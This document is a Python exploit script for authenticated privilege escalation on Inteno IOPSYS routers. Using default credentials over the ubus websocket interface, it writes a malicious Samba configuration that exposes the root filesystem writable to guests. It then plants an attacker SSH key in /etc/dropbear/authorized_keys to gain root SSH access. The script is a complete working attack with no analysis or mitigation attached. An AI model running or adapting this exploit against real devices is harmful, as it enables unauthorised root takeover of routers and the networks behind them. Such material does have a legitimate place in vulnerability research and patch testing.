Inteno’s IOPSYS - (Authenticated) Local Privilege Escalation

#!/usr/bin/python

import json
import sys
import subprocess
import socket
import os
from websocket import create_connection

def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)

def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":[key,namespace,argument,params],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return(True)
        return(None)
    return(result)

if __name__ == "__main__":
    host = "192.168.1.1"
    sshkey = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ=="
    user = "user"
    pasw = "user"
    conf = """[global]
 netbios name = IntenoSMB
 workgroup = IntenoSMB
 server string = IntenoSMB
 syslog = 10
 encrypt passwords = true
 passdb backend = smbpasswd
 obey pam restrictions = yes
 socket options = TCP_NODELAY
 unix charset = UTF-8
 preferred master = yes
 os level = 20
 security = user
 guest account = root
 smb passwd file = /etc/samba/smbpasswd
 interfaces = 192.168.1.1/24 br-lan
 bind interfaces only = yes
 wide links = no

[pwn]
 path = /
 read only = no
 guest ok = yes
 create mask = 0700
 directory mask = 0700
 force user = root
"""

    print("Authenticating...")
    key = ubusAuth(host, user, pasw)
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Dropping evil Samba config...")
    ltc = ubusCall(host, key, "file", "write_tmp",
        {"path":"/tmp/etc/smb.conf", "data": conf})
    if (not ltc):
        print("Failed to write evil config!")
        sys.exit(1)

    print("Creating temp file for key...")
    with open(".key.tmp","a+") as file:
        file.write(sshkey)
        path = os.path.realpath(file.name)

    print("Dropping key...")
    subprocess.run("smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(r"\\\\" + host + r"\\", path),
        shell=True, check=True)
    print("Key dropped")

    print("Cleaning up...")
    os.remove(path)

    print("Exploitation complete. Try \"ssh root@%s\"" % host)